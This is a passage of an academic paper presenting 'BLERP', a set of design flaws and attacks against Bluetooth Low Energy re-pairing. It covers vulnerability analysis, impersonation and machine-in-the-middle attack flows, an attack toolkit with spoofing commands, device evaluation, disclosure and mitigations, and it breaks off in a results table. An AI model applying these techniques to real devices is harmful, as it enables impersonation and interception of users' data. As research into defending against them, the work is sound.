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Abstract—Bluetooth Low Energy (BLE) is a ubiquitous wire-
less technology used by billions of devices to exchange sensitive
data. As defined in the Bluetooth Core Specification v6.1, BLE
security relies on two primary protocols: pairing, which estab-
lishes a long-term key, and session establishment, which encrypts
communications using a fresh session key. While the standard
permits paired devices to re-pair to negotiate a new security level,
the security implications of this mechanism remain unexplored,
despite the associated risks of device impersonation and Machine-
in-the-Middle (MitM) attacks.

We analyze BLE re-pairing as defined in the standard v6.1
and identify six design vulnerabilities, including four novel ones,
such as unauthenticated re-pairing and security level downgrade.
These vulnerabilities are design flaws and affect any standard-
compliant BLE device that uses pairing, regardless of its Blue-
tooth version or security level. We also present four new re-
pairing attacks exploiting these vulnerabilities, which we call
BLERP. The attacks enable impersonation and MitM of paired
devices with minimal or no user interaction (1-click or 0-click).
Our attacks are the first to target BLE re-pairing, exploit the
interplay between BLE pairing and session establishment, and
abuse the SMP security request message.

We develop a novel toolkit that implements our attacks and
supports testing of BLE pairing, including end-to-end MitM
attacks. Reproducing the toolkit only requires low-cost hardware
(nRF52) and open-source software (Mynewt, NimBLE, and
Scapy). Our large-scale evaluation demonstrates the attacks’
impact across 22 targets, including 15 BLE Hosts, 12 BLE
Controllers, Bluetooth versions up to 5.4, and the most secure
configurations (SC, SCO, and authenticated pairing). During our
experiments, we also discovered implementation re-pairing flaws
affecting the Apple, Android, and NimBLE BLE stacks.

We implement and evaluate two complementary mitigations:
a backward-compatible hardening of the re-pairing logic that
is immediately deployable by vendors, and an authenticated
re-pairing protocol that addresses the attacks by design. We
empirically validate the effectiveness of hardened re-pairing
and formally model and verify authenticated re-pairing using
ProVerif.

I. INTRODUCTION

Bluetooth Low Energy (BLE) is a widely adopted wireless
communication technology found in billions of devices, in-
cluding smartphones, laptops, keyboards, wearables, and other
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Fig. 1: BLERP attacks. Alice and Bob are legitimately paired
over BLE. Charlie can impersonate either of them, perform a
single-channel Man-in-the-Middle (MitM) to compromise the
new key, or a double-channel MitM, to establish new separate
keys with Alice and Bob.

IoT products. Defined in the Bluetooth standard v6.1 [1] and
designed as a low-power alternative to Bluetooth Classic (BC),
BLE supports connection-oriented and connectionless commu-
nications. A BLE connection involves an initiator (Central),
such as a laptop, and a responder (Peripheral), like a keyboard.

BLE security relies on two standard protocols: pairing,
which establishes a long-term Pairing Key (PK) between
devices, and session establishment, which derives a fresh
Session Key (SK) from the PK and uses it to encrypt the
communications. Design flaws in these protocols have critical
consequences, as they can affect all standard-compliant BLE
devices, regardless of their hardware or software.

The standard permits re-pairing, allowing BLE devices to
replace an existing PK with a new one based on a security
level [1, p. 1668]. The security level sets the pairing security
flags, including the pairing authentication mechanism and the
use of FIPS-compliant cryptographic primitives.

This paper is the first to analyze BLE re-pairing, focusing
on its security implications against impersonation and MitM
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attacks. In a re-pairing impersonation attack, an attacker
deceives a victim into re-pairing by posing as a trusted
device. In a re-pairing MitM attack, the adversary forces two
victims into re-pairing while intercepting and tampering with
their communication. In both cases, the attacker compromises
BLE’s confidentiality, integrity, and authenticity guarantees:
they can access, modify, and inject encrypted BLE messages.

Despite these security risks, BLE re-pairing has received
limited attention. Prior work explored cross-transport re-
pairing attacks [2] that exploit BC from BLE and vice
versa, but not BLE-to-BLE re-pairing. Other research [3]
performed spoofing attacks against session establishment,
which is a different protocol. Another study [4] identified an
implementation-specific issue on Android related to Secure
Connections Only (SCO) downgrade in BLE pairing, but
did not focus on re-pairing. Other works have evaluated the
security of different BLE pairing phases [5], [6], [7], [8], [9],
[10], without analyzing re-pairing.

We present a comprehensive evaluation of BLE re-pairing
security, covering its design in the Bluetooth standard version
6.1 and real-world implementations from Apple, Google, and
others. Our threat model assumes a protocol-level attacker
within wireless range of the victims, with no access to the
devices or knowledge of existing PKs. Our work complements
previous research on Cross-Transport Key Derivation (CTKD)
and related re-pairing attacks [2].

We uncover four new design vulnerabilities in BLE re-
pairing, including unauthenticated re-pairing (V1, V2), and
re-pairing security level downgrades (V3, V4). We extend
two known design issues to re-pairing: session establishment
failure to trigger re-pairing (V5) and re-pairing PK entropy
downgrade (V6).

We develop four novel attacks exploiting the vulnerabilities
and call them BLERP (BLE Re-Pairing) attacks. As shown
in Figure 1, these attacks enable Central Impersonation (CI),
Peripheral Impersonation (PI), and single-channel and double-
channel MitM attacks. In a single-channel MitM, the attacker
forces the victim to re-pair and negotiate a single weak PK,
which the attacker later compromises offline. In a double-
channel MitM, the adversary induces the victims to re-pair
and establish separate PKs with him.

BLERP are the first BLE-only re-pairing attacks. PI is also
the first attack to target pairing from session establishment
and to abuse the security request message. Moreover, they
provide a deterministic, practical method for attacking BLE
pairing, extending an attacker’s capabilities beyond what the
current BLE threat model assumes. The BLERP attacks are
stealthy, requiring minimal or no user interaction (i.e., 1-click
or 0-click), and can succeed regardless of the victim’s security
configurations.

We develop BLERP, a new toolkit implementing the PI, CI,
and double-channel MitM attacks. It also provides over-the-
air testing capabilities, including performing MitM attacks on
BLE pairing. The toolkit leverages NimBLE, an open-source
BLE stack [11] and a custom Python-based BLE Host. It
is reproducible and requires low-cost hardware (nRF52) and

open-source software.
We use the toolkit and successfully conduct BLERP on 22

devices. The devices include laptops, smartphones, keyboards,
and mice from major vendors such as Google, Microsoft, Sam-
sung, Qualcomm, Xiaomi, Intel, and Logitech. The evaluation
spans Bluetooth versions 4.2 to 5.4 and includes the most
secure configurations (SC, SCO, and authenticated pairing).
In total, we test 15 BLE Hosts, 12 BLE Controllers, 16
Centrals, and 9 Peripherals. Our findings confirm the critical
and large-scale impact of the BLERP attacks. During our test,
we additionally discovered three re-pairing implementation
flaws affecting Android, Apple, and Apache NimBLE.

We design and validate two defenses against BLERP: 1)
hardened re-pairing, a standard-compliant mitigation for the
attacks by enforcing stricter re-pairing checks, and disconnect-
ing on session establishment failure to address the PI attack;
2) authenticated and integrity-protected re-pairing, a stronger
re-pairing protocol that authenticates the new PK using the
existing one and provides integrity protection using a hash
transcript and MACs. The protocol fixes the attacks by design
but requires updating the standard and could impact usability
if a device loses its PK. We also discuss how Apple, Google,
and Apache can address the identified implementation issues.
Furthermore, we detail the effectiveness of BLERP attacks and
describe our vulnerability-discovery process.

We summarize our contributions as follows:
• First security assessment of BLE-to-BLE re-pairing and

uncovering four repairing design vulnerabilities (V1–V4).
• Development of four novel BLERP attacks, enabling

impersonation and MitM against any BLE device with
minimal to no user interaction (1-click or 0-click).

• A new low-cost and open-source toolkit (BLERP), to test
the BLERP attacks and MitM attacks on BLE pairing.

• Large-scale evaluation on 22 BLE devices, demonstrating
the widespread real-world impact of BLERP even against
the most secure BLE setups (SCO, authenticated SC).

• Design, implementation, and validation of two comple-
mentary BLERP countermeasures called hardened re-
pairing and authenticated re-pairing.

Responsible Disclosure. We reported our findings to the
Bluetooth Special Interest Group (SIG) in August 2024. While
the SIG acknowledged the issues, they do not plan to update
the specification. We strongly recommend that the SIG amend
the standard to incorporate our proposed fixes.

We also disclosed our findings to five major vendors.
Apache, Apple, and Google have taken steps to address the
issues. Apache reserved CVE-2025-62235 and is preparing a
patch. Apple silently addressed the problem, as they appear to
have hardened the re-pairing logic in macOS/iOS 26. Google
confirmed the flaws and has hardened re-pairing in Android
16, though the implementation flaw seems to persist.

In contrast, Logitech and Microsoft declined to issue fixes.
Logitech categorized the behavior as standard, while Microsoft
noted that the vulnerabilities are not exploitable under default
Windows settings. We disagree with these assessments and
encourage them to address the issues.
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Availability. All the implemented material is open source,
please refer to the Artifact Appendix.

II. BLE BACKGROUND

Bluetooth is a pervasive wireless communication technology
defined in an open standard: the Bluetooth Core Specification
v6.1 [1]. It includes two transports: BC, for high-throughput,
connection-oriented use cases, and BLE, for power-efficient
applications such as IoT device management and connection-
less data transfer. The paper focuses on BLE.

In a BLE connection, devices have two roles: Central and
Peripheral. Central devices initiate a connection and typically
are high-end devices, such as smartphones, laptops, or tablets.
Peripherals accept incoming connections and typically are low-
power devices, such as fitness trackers, mice, and keyboards.
Centrals connect to Peripherals after a BLE discovery phase
that involves scanning and advertising.

The BLE stack has two logical components, the Controller
and the Host. The Controller manages low-level and time-
critical activities, including connection management, encryp-
tion, and link-layer packet decoding. The Host handles high-
level tasks, including logical transport and profiles. The Host
and Controller communicate via the Host-Controller Interface
(HCI), which defines commands, events, and the related HCI
protocol.

BLE devices secure their communication using two standard
security protocols called pairing and session establishment.
Pairing is a key agreement protocol that establishes a long-
term PK between two devices. It is implemented in the Host
and is part of the Security Manager Protocol (SMP). Session
establishment uses the PK and random nonces to generate a
SK and encrypt the session. It is implemented in the Controller
and included in the Link Layer (LL) protocol.

BLE has two security modes. Secure Connections (SC)
is the most secure, as it employs standard, FIPS-compliant
cryptographic primitives and mechanisms, such as Elliptic
Curve Diffie-Hellman (ECDH). A device can enforce SC using
the SCO flag. Legacy Secure Connections (LSC) instead uses
a legacy and ad-hoc key agreement protocol. Both modes em-
ploy AES-CCM to encrypt and authenticate session messages.
Next, we describe BLE pairing and session establishment in
more detail.

A. BLE Pairing

BLE pairing is a key agreement protocol that establishes and
optionally authenticates a PK and distributes other keys. It has
four phases: feature negotiation, association, PK derivation,
and secure key distribution.

Figure 2 shows the feature negotiation phase happening
after Alice and Bob discovered each other using scanning
(Central) and advertising (Peripheral). The phase starts with
Bob optionally sending a SMP SEC REQ message to Alice to
request a pairing. The message contains Bob’s pairing security
level (ARB), which is a byte storing six security flags. The
standard defines the security level as AuthReq [1, p. 1672],
which we abbreviate as AR. The security level flags, ordered

A

Alice (Central)

B

Bob (Peripheral)

SMP SEC REQ: ARB

SMP PAIR REQ: ARA,EntA

SMP PAIR RSP: ARB,EntB

Fig. 2: BLE SMP Pairing feature negotiation. The SMP -
SEC REQ is optional. After this phase, the devices run the
association, PK derivation, and secure key distribution phases.

from least to most significant, are: bonding (2 bits) to store
the PK, mitm (1 bit) to enable authentication, sc (1 bit) to
enable SC, keypress (1 bit) to require a keypress during
pairing, ct2 (1 bit) to indicate support for CTKD, and rfu
(2 bits) reserved for future use.

Next, Alice sends a pairing request (SMP PAIR REQ) to
Bob containing ARA and an integer between 7 and 16 to
negotiate the PK entropy (EntA). Bob answers with a pairing
response containing ARB and EntB. Based on the pairing
request and response, the devices decide the pairing security
level and the PK entropy. For example, if the devices negotiate
the SC and MitM flags, the pairing is authenticated and uses
FIPS-compliant primitives (i.e., ECDH).

After negotiating the pairing features, the devices run one of
the four association methods based on the negotiated security
level. Numeric Comparison (NC) and Passkey Entry (PE)
associations authenticate devices by requiring user interaction
(e.g., visual confirmation or entering a numeric value). Out-
of-Band (OOB) association authenticates pairing using a pre-
shared secret exchanged out of band (e.g., using NFC). Just-
Works (JW) association does not provide authentication but
may require user interaction on a device with I/O capabilities,
such as pressing a Yes/No dialog button.

Then, the devices derive the PK and store it together with its
security level (ARPK). PK is derived with ECDH (SC mode)
or an ad-hoc key agreement protocol (LSC mode). Finally,
the devices can securely distribute other BLE keys, like
the Identity Resolving Key (IRK) and Connection Signature
Resolving Key (CSRK).

B. BLE Session Establishment

BLE session establishment, implemented in the LL protocol,
allows two paired devices to derive a SK and use it to encrypt
a session. It has three phases: SK derivation, SK confirmation,
and secure session.

Figure 3 shows a run of session establishment assuming
that Alice and Bob share PK. Alice sends Bob an encryption
request (ENC REQ) containing a key diversifier (SKDA) and
an initialization vector (IVA). Bob answers with an encryption
response (ENC RSP) with his SKDB and IVB. The devices
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Session encrypted with SK

Fig. 3: BLE Session Establishment. The devices derive SK,
confirm it, and then run a secure session.

derive the SK using AES keyed with the PK as a KDF and
encrypting the concatenation of the key diversifiers. The SK
derivation phase is neither encrypted nor integrity-protected.

Then, the devices run a three-way confirmation handshake
using messages with empty payloads. START ENC REQ is
in plain text, while the two START ENC RSP are encrypted
using AES-CCM keyed with SK. Finally, they run an AES-
CCM-encrypted and authenticated session. The cipher is keyed
with SK and initialized with the concatenation of IVA and
IVB. SK can be refreshed by terminating the current session
and establishing a new one.

III. MOTIVATION AND THREAT MODEL

A. Motivation

The standard permits BLE devices to re-pair and overwrite
their PK with a new one, based on the negotiated security
level. While intended to support security upgrades, re-pairing
could be misused to conduct impersonation and MitM attacks.
In a re-pairing impersonation attack, an adversary tricks the
victim into pairing with them while the victim thinks it is re-
pairing with a trusted device. In a re-pairing MitM attack, an
attacker forces two paired victims to re-pair while the attacker
is in the middle.

BLE re-pairing attacks have severe and widespread con-
sequences. Being protocol-level threats, they can affect all
BLE versions, regardless of hardware, software, or security
configurations. For instance, they can work against BLE 6.1
devices using SCO mode and with MitM protection enabled.
They allow access, injection, and modification of encrypted
data, breaking BLE confidentiality, integrity, and authenticity.
Additionally, they are a stepping stone to increase real-world
exploitability of other pairing attacks, like KNOB [6], without
relying on a legitimate pairing event.

Despite the associated risks, the security of BLE re-pairing
has received limited attention in prior research. BLURtooth [2]
introduces cross-transport re-pairing attacks that exploit the
CTKD mechanism, which allows a single pairing to derive
PKs for both BC and BLE. However, these attacks require
devices to support both BC and BLE and thus do not cover
BLE-to-BLE re-pairing attack scenarios. BLESA [3] explores
re-connection spoofing attacks against BLE session establish-
ment, a distinct protocol from pairing, and therefore does not
assess the risks of re-pairing. Another work [4] uncovers an
implementation-specific re-pairing vulnerability in Android’s
BLE stack, which is exploitable via a downgrade attack on
pairing in SCO mode. However, this work does not analyze
BLE re-pairing at a design level.

No prior work has studied whether the BLE re-pairing
design is secure against impersonation and MitM threats.
Other studies [5], [6], [7], [8], [9], [10] focus on specific
pairing phases, such as feature negotiation or association, and
assume that the attacker is present during a legitimate initial
pairing event. In contrast, re-pairing attacks do not require
a legitimate pairing to occur because the attacker forces the
victim to re-pair at will. Moreover, several works assume
temporary physical access to the victim device [12] or device
compromise [13], which limits their practical applicability.
Our work makes no such assumptions.

The standard, up to version v6.1, offers only a brief and
high-level description of BLE re-pairing [1, p. 1668]. It
outlines that paired devices may overwrite an existing PK if
the new security level is higher than the old one. However,
it does not explicitly address the security implications of this
mechanism. For instance, it does not discuss threat scenar-
ios involving adversarial interference during re-pairing. This
omission leaves open the question of whether BLE re-pairing
design is secure, and further motivates this work.

B. Threat Model

Our system model includes two victim BLE devices named
Alice (Central) and Bob (Peripheral). These devices have
paired and share a PK and its security level ARPK. When
they reconnect, they use BLE session establishment to secure
their communication. We assume that neither device intends
to re-pair, hence the attacker cannot observe a legitimate
pairing event. The victim can use any security mode and level,
including SC and LSC, as well as any association methods,
such as NC, PE, OOB, and JW. This assumption allows us to
evaluate BLE re-pairing across all devices, including victim
devices with and without I/O.

Our attacker model assumes an active attacker, named
Charlie, within the BLE range of one or both victims. The
adversary exploits design-level flaws in BLE pairing and
session establishment to achieve three goals: 1) impersonate
Alice to Bob in a Central Impersonation (CI) attack, 2)
impersonate Bob to Alice in a Peripheral Impersonation (PI)
attack, 3) MitM Alice and Bob.

Charlie has Dolev-Yao capabilities [14]. He can eavesdrop,
inject, modify, relay, and drop BLE packets. He can also
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if pairing then
ignore_security_request()

else if paired then
if AR_SR > AR_PK then
repair() // overwrite PK

else if session_encrypted then
stop_session_and_restart()

else
session_establishment()

else
pair() // write PK

Listing 1: SMP security request (SMP SEC REQ) processing
logic. Pseudocode adapted from the decision tree in the
standard (Vol 3, Part H, Figure 2.7, Page 1668).

capture public BLE information such as MAC addresses,
advertised names, device types, and Generic Attribute Profile
(GATT) attributes. Charlie can force Alice and Bob to discon-
nect (e.g., via jamming) and tamper with their unencrypted
messages (e.g., manipulate session negotiation). Charlie cannot
compromise the victims’ hardware and software or extract
their Bluetooth keys (e.g., via malware or physical attacks).
These are standard adversarial assumptions for BLE security
research [15], [16], [17]. Under our threat model, Charlie
should not be able to force a re-pair, impersonate Alice or
Bob, or perform a MitM attack.

IV. BLERP VULNERABILITIES AND ATTACKS

We describe the design of BLE re-pairing in the standard
and report six BLE re-pairing vulnerabilities, including four
novel ones (V1–V4), and two issues that extend previously
known flaws to re-pairing (V5, V6). Then, we introduce four
new attacks, dubbed BLERP, that leverage these vulnerabilities
to perform PI, CI, single-channel, and double-channel MitM
attacks. Figure 1 shows the attacks on a high level.

A. BLE Re-Pairing Design Vulnerabilities

The standard describes BLE re-pairing using a decision
tree [1][p. 1668] that outlines how a Central should pro-
cess a re-pairing security request (SMP SEC REQ) from a
Peripheral, but does not specify how a Peripheral should
behave while re-pairing. Listing 1 shows the tree in pseu-
docode and summarizes how a security request may trig-
ger pairing (pair), re-pairing (repair), session establish-
ment (session_establishment), session pause and SK
refresh (stop_session_and_restart), or be ignored
(ignore_security_request).

The Central ignores the security request if the devices are
currently pairing. If the Central and the Peripheral are paired,
the Central compares the security level of the request (ARSR)
with that of the existing PK (ARPK). If ARSR is greater than
ARPK, the Central initiates a re-pairing with the Peripheral.
Otherwise, if the current session is encrypted, the Central
refreshes the SK by terminating the session and establishing a

new one. Otherwise, it starts the session establishment. If the
devices are not paired, the Central initiates the pairing process.

The decision tree in Listing 1 and, hence, the re-pairing
specification in the standard, do not specify how to: 1) compare
security levels, including ARSR and ARPK, 2) enforce a
security level during re-pairing, 3) process re-pairing requests
from a Central, 4) handle re-pairing in case of errors during
session establishment.

These underspecifications result in four novel re-pairing vul-
nerabilities (V1–V4) and two vulnerabilities extending known
issues to BLE re-pairing (V5, V6).

(V1) Unauthenticated Central re-pairing. A Central accepts
a re-pairing request from a Peripheral based on an unauthenti-
cated security level (ARSR). Since the standard does not define
a method for comparing security levels, an attacker could craft
ARSR to trigger re-pairing, for example, by setting its high-
order (rfu) bits. (new)
(V2) Unauthenticated Peripheral re-pairing. A Peripheral
does not authenticate re-pairing requests from a Central. This
issue is amplified by Peripherals being pairable even when not
discoverable. (new)
(V3) Peripheral Security Level downgrade. A Central does
not compare ARSR with the value included in the pairing
response, hence a Peripheral can initiate re-pairing with a high
ARSR and then downgrade the value in its pairing response.
An attacker can reduce the re-pairing security level to the
lowest one, i.e., LSC and JW. (new)
(V4) Re-pairing Security Level downgrade. During re-
pairing, a device can accept a lower security level than the one
negotiated in the previous pairing (ARPK). Hence, a Central
or Peripheral can re-pair with a lower security level than the
original pairing. (new)
(V5) Re-pairing from session establishment. A Peripheral
can interrupt session establishment and try to force re-pairing
without requiring authentication. (extended)
(V6) Re-pairing PK entropy downgrade. During re-pairing,
a device can negotiate a PK with entropy lower than the
existing one, since there is no entropy check between re-
pairings. (extended)

Vulnerabilities V2 and V4 are distinct from the BLURtooth
ones [2]. They are BLE-specific and not related to CTKD
or BC pairing. V5 extends the session establishment issue
identified in BLESA [3] to force a Central to re-pair. V6 gener-
alizes the cross-transport flaw discovered in BLURtooth [2] to
systematically reduce the PK entropy during BLE re-pairing.
These six vulnerabilities (V1–V6) form the foundation for the
BLERP attacks we describe next.

B. BLERP Peripheral Impersonation

Figure 4 shows the BLERP PI attack, in which Alice
(Central) trusts Bob (Peripheral) but ends up pairing with
Charlie while believing she is re-pairing with Bob. Alice
and Bob share a PK and its associated security level ARPK.
Charlie impersonates Bob by advertising with a spoofed MAC
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A

Alice

C

Charlie as Bob

Knows PK,ARPK

ENC REQ: SKDA, IVA

REJECT IND: Error

SMP SEC REQ: ARSR

Checks ARSR>ARPK

SMP PAIR REQ: ARA,EntA

Sets ARC≤ARSR

SMP PAIR RSP: ARC,EntC

Terminate pairing and derive PKC

Overwrites PK with PKC Stores PKC

Fig. 4: BLERP Peripheral Impersonation attack. Alice (Cen-
tral) initiates session establishment with Charlie, believing
Charlie to be Bob. Charlie aborts the process and triggers
re-pairing, optionally downgrading the security level, without
authenticating or knowing PK. As a result, Alice pairs with
Charlie, thinking she is re-pairing with Bob, and overwrites
PK with PKC, shared with Charlie.

address, name, and device type, convincing Alice to connect to
him rather than Bob. Alice then begins session establishment
by sending an encryption request (ENC REQ) to Charlie,
with her session key diversifier and IV. Charlie rejects this
request and aborts session establishment by replying with a
REJECT IND message that carries a link-layer error code,
such as Unsupported Remote Feature or Command Disal-
lowed.

Charlie then sends a security request to Alice to trigger re-
pairing (V5). This security request is unauthenticated (V1) and
carries a crafted security level ARSR. For example, Charlie
can promise an upgrade from LSC to SC, or set the two most
significant bits of ARSR, without knowing the PK shared by
Alice and Bob. Alice processes this request as detailed in
Listing 1, and because ARSR > ARPK, she accepts it as a
legitimate re-pairing request from Bob and proceeds to pair
with Charlie.

Alice sends a pairing request containing her security level
and entropy. Charlie responds with a crafted pairing response
containing his chosen security level and entropy. Charlie can
downgrade the security level of the pairing response according
to his needs, as ARC can be lower than ARSR (V3) and
ARPK (V4). For example, he can force JW association to

C

Charlie as Alice

B

Bob

Knows PK,ARPK

SMP PAIR REQ: ARC,EntC

SMP PAIR RSP: ARB,EntB

Terminate pairing and derive PKC

Stores PKC Overwrites PK with PKC

Fig. 5: BLERP Central Impersonation attack. Charlie sends
an unauthenticated re-pairing request, impersonating Alice to
Bob (Peripheral). Bob accepts to re-pair regardless of the new
security level (ARC). Charlie and Bob then complete pairing
and share PKC.

perform a silent pairing with a keyboard (instead of passkey
entry) or to avoid an authenticated dialog when connecting
to a smartphone (a Yes/No prompt instead of a numeric
comparison).

Alice completes the remaining BLE pairing phases (as-
sociation, PK derivation, key distribution) with Charlie and
overwrites PK with PKC. Hence, Charlie has the same reading
and writing permissions as Bob. For example, Charlie can
impersonate a keyboard (Bob) to a laptop (Alice). The attack
requires minimal unauthenticated user interaction (1-click on
a yes/no pairing dialog) if Alice is a device with I/O, such as
a laptop, and no user interaction (0-click) if Alice is a device
with limited I/O, such as a BLE gateway. Notably, the PI attack
is the first to exploit BLE pairing from session establishment.

C. BLERP Central Impersonation

Figure 5 shows the BLERP CI attack, in which Bob trusts
Alice but ends up pairing with Charlie while believing he is re-
pairing with Alice. The victims share a PK and an associated
security level ARPK. Charlie finds Bob scanning for BLE
advertisements and then impersonates Alice by sending Bob
a connection request with Alice’s MAC address.

Then, Charlie sends an unauthenticated pairing request to
Bob containing a crafted security level ARC. Bob always
accepts the re-pairing request without authenticating the sender
(V2), regardless of whether ARC is lower than ARPK (V4).
Hence, Charlie can downgrade ARC to be stealthier, similarly
to the PI attack (e.g., force JW to get a 0-click re-pairing).

Bob replies with his pairing response, and the devices
complete the other pairing phases (association, PK derivation,
key distribution). As a result, Bob overwrites his stored PK for
Alice with PKC, which he now shares with Charlie. Hence,
Charlie is accepted by Bob as Alice, with the same access
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that Alice had. For example, Charlie can spoof a smartphone
(Alice) and read and write sensitive data to a smartwatch
(Bob).

D. BLERP Single- and Double-channel MitM

We present two BLERP MitM attacks we call single-
channel and double-channel.

Figure 6 shows the single-channel MitM attack. Charlie
convinces Alice to connect to him by impersonating Bob, and
simultaneously connects to Bob while impersonating Alice.
Once Alice initiates session establishment, Charlie performs
the PI attack to trigger re-pairing and then relays the pairing
messages between Alice and Bob, modifying them as needed
(e.g., tampering with the pairing feature negotiation to weaken
security). For example, he can downgrade the security level to
force JW (as in the CI and PI attacks), or he can force LSC
to recover the PK [18] or reduce the entropy value (V6) and
mount the KNOB attack [6], brute-forcing the PK afterwards.

In the double-channel MitM attack, Charlie executes the PI
attack against Alice and the CI attack against Bob, establishing
two distinct PKC with them. Unlike the single-channel variant,
in which the attacker relays pairing messages between Alice
and Bob, here Charlie completes separate pairing procedures
with each victim. Charlie obtains an active MitM position,
enabling him to eavesdrop, drop, modify, or inject messages
during subsequent sessions between the victims. The double-
channel attack can be combined with association downgrade
attacks [4], [5], [8], [9], [12], allowing the attacker to obtain
a MitM position regardless of the security level negotiated
during re-pairing.

We note that the BLERP MitM attacks serve also as a novel
stepping stone to launch a MitM attack on pairing without
waiting for a legitimate pairing event. Prior MitM attacks on
BLE pairing required waiting for a legitimate pairing event,
whereas via BLERP, the attacker can trigger re-pairing even
when the victims are unwilling to re-pair. This advancement
calls for an update to the BLE threat model, as attackers can
force re-pairings at will and are no longer limited to exploiting
legitimate pairing events.

V. IMPLEMENTATION

We developed BLERP, an open-source toolkit based on the
NimBLE stack [11] that enables testing of the CI, PI, and
double-channel MitM attacks, as well as over-the-air testing
of BLE pairing. The toolkit supports any Controller compat-
ible with NimBLE, including the nRF51, nRF52, nRF5340,
and DA1469x series. It comprises two main components: an
extended NimBLE shell application for device spoofing and a
custom Python-based Host for MitM.

A. Toolkit btshell

NimBLE’s btshell application provides a command-line
interface (CLI) over UART to control devices running the
NimBLE stack. We extended btshell to support the specific
capabilities required for the BLERP attacks and device spoof-
ing. While the original shell handles basic connection and

security setup, our extensions enable granular spoofing and
configuration of attack parameters. We introduced specific
commands to support these tasks:

• spoof-address and spoof-adv-data: configure
the MAC address and advertisement data to impersonate
target devices.

• spoof-authreq defines a custom security level ARSR

specifically for the security request message.
• blerp-reject-enc: controls the number of encryp-

tion requests the Controller must reject before triggering
the PI attack.

B. Toolkit BLE Host

To execute the double-channel MitM attack, we developed
a custom BLE Host in Python using Scapy. The Host orches-
trates two modified NimBLE Controllers simultaneously: one
acting as a malicious Central and the other as a malicious
Peripheral. It communicates with each Controller via a ded-
icated BluetoothUserSocket and forwards application-
layer traffic between the victims while locally handling pair-
ing and Link Layer interactions. Since Scapy does not na-
tively handle Logical link control and adaptation protocol
(L2CAP) fragmentation, we implemented the reassembly logic
to process SMP messages that span multiple fragments (e.g.,
ECDH public keys). For cryptographic operations, we reused
Google’s Bumble stack [19] implementation.

C. Toolkit NimBLE Patches

We applied targeted patches to NimBLE v1.7.0 to introduce
low-level capabilities required for the attacks:

• HCI Extensions: We added custom HCI commands to
toggle encryption request rejection and to update the Con-
troller’s MAC address at runtime for dynamic spoofing.

• Controller Logic: We modified the Link Layer control
logic to reject and count ENC REQ messages. Upon
reaching a user-defined rejection threshold, the Controller
signals the Host via an encryption-change event with a
custom error code, indicating that the PI attack should
begin.

• Host Logic: We extended the Host event management
logic to handle the controller’s custom error code and
to start the PI attack by sending the security request.
We extended the Security Manager (SM) to support run-
time modification of security parameters. We introduced
a shadow configuration structure, spoofed_hs_cfg,
to store manipulated values (e.g., ARSR, entropy, IO
capabilities) alongside the original values.

VI. EVALUATION

Using our BLERP toolkit (presented in Section V), we
empirically confirm the real-world and widespread effective-
ness of the BLERP attacks by successfully exploiting 22
devices. The tested devices are from leading vendors and
support the most popular Bluetooth versions (v4.2–v5.4), SC
and LSC security modes, IO capabilities, SCO mode, and
MitM protection. During our experiments, we also discovered
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B

Bob

ENC REQ

REJECT IND

SMP SEC REQ: ARC1

SMP PAIR REQ: ARA,EntA SMP PAIR REQ: ARC2,EntC

SMP PAIR RSP: ARB,EntBSMP PAIR RSP: ARC2,EntC

SMP PAIR PUB KEY: PubA

SMP PAIR PUB KEY: PubB

ss=ECDH(PubB,PrivA) ss=ECDH(PubA,PrivB)

Association

PK=KDF(ss, addrA|addrB) PK=KDF(ss, addrA|addrB)

Session Establishment

Fig. 6: BLERP Single-Channel MitM attack. Charlie prevents session establishment and triggers a re-pairing by performing
the PI attack against Alice. Once Alice starts the re-pairing, Charlie relays the messages, tampering with them (in this case,
the feature negotiation). Once the pairing succeeds, Charlie does not have access to the new PK, but he has compromised its
derivation (e.g., by forcing LSC or reducing entropy) and can recover it offline.

re-pairing implementation flaws affecting the BLE stacks of
Apple (iOS, iPadOS, and MacOS), Android (10–15), and
NimBLE. Next, we describe our evaluation setup, results, and
vendor-specific details.

A. Evaluation Setup

We evaluate the CI and PI attacks using our btshell ap-
plication (Section V-A) with the modified NimBLE stack
(Section V-C) running on an nRF52840 development board.
For the PI attack, we impersonate a keyboard (entry 20 in
Table I) and, for the CI attack, a smartphone (entry 7 in
Table I). We paired each victim device with the impersonated
one before conducting the PI/CI attacks.

B. Evaluation Results

Table I presents our experimental results and demonstrates
that the BLERP attacks have a critical and widespread impact
on the BLE ecosystem. The attacks are effective on 22 targets,
including 15 BLE Hosts, 12 BLE Controllers, 16 Centrals,
and 9 Peripherals. For each target (1–22), we report the
device model, BLE Host, BLE Controller, Bluetooth version
(BTv), and the exploited security level value (AR). We exploit
the most popular Bluetooth versions (4.2–5.4), the strongest
security levels (SC and MitM), and settings (SCO). We were
unable to test devices with more recent Bluetooth versions, as
none were available on the market at the time of writing.

The right half of the table indicates, for each vulnerability
(V1–V6) and attack (CI, PI), whether it affects the target (✓),
does not affect it (✗), or is not applicable (n/a). Although these
are design-level vulnerabilities, some implementations may
include custom behaviors or implementation-specific settings
that unknowingly address them, which is why the ✗ outcome
is possible. The n/a outcome occurs when a target does not
support a role (e.g., a smartphone is not a BLE Peripheral
under default settings). The AR column indicates the victim’s
ARPK, against which we tested the attacks.

The user interaction (UI) column specifies whether the at-
tack required no user interaction (N), a single unauthenticated
user interaction (U), or a single authenticated user interaction
(A). Attacks are transparent (0-click) against devices with
no I/O or input-only capabilities, such as mice, keyboards,
and IoT devices. Devices with I/O capabilities require an
unauthenticated 1-click interaction. For example, a Yes/No
confirmation dialog when using JW with a smartphone. If
a device enforces authenticated pairing, it will require an
authenticated user interaction, as with the Garmin smartwatch
we tested (entry 22 in Table I). None of the tested devices
notifies the user if an encryption procedure fails, despite the
Bluetooth standard requiring such notification [1, p. 1660-
1661].

Every device vulnerable to the PI or CI attacks in Table I
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TABLE I: Evaluation results of BLERP PI and CI attacks on 22 BLE targets combining 15 Hosts and 12 Controllers. The
evaluation covers 16 Centrals and 9 Peripherals with the most popular Bluetooth versions (4.2–5.4) and most secure settings
(SC, MitM protection, SCO mode). Vulnerabilities and attacks can be effective (✓), not effective (✗), or not applicable (n/a).
The UI column shows the required user interaction for that target: none (N), unauthenticated (U), or authenticated (A). All
devices vulnerable to either PI or CI are also vulnerable to MitM attacks, as they exploit the same vulnerabilities.

Device Host Controller BTv AuthReq V1 V2 V3 V4 V5 V6 PI CI UI

Centrals: Laptop, Desktop, Smartphone, Tablet, AV/VR, Smart TV

1 MacBook Air MacOS 15 BCM 4378 5.0 SC, MitM ✓ n/a ✓ ✓ ✓ ✓ ✓ n/a U
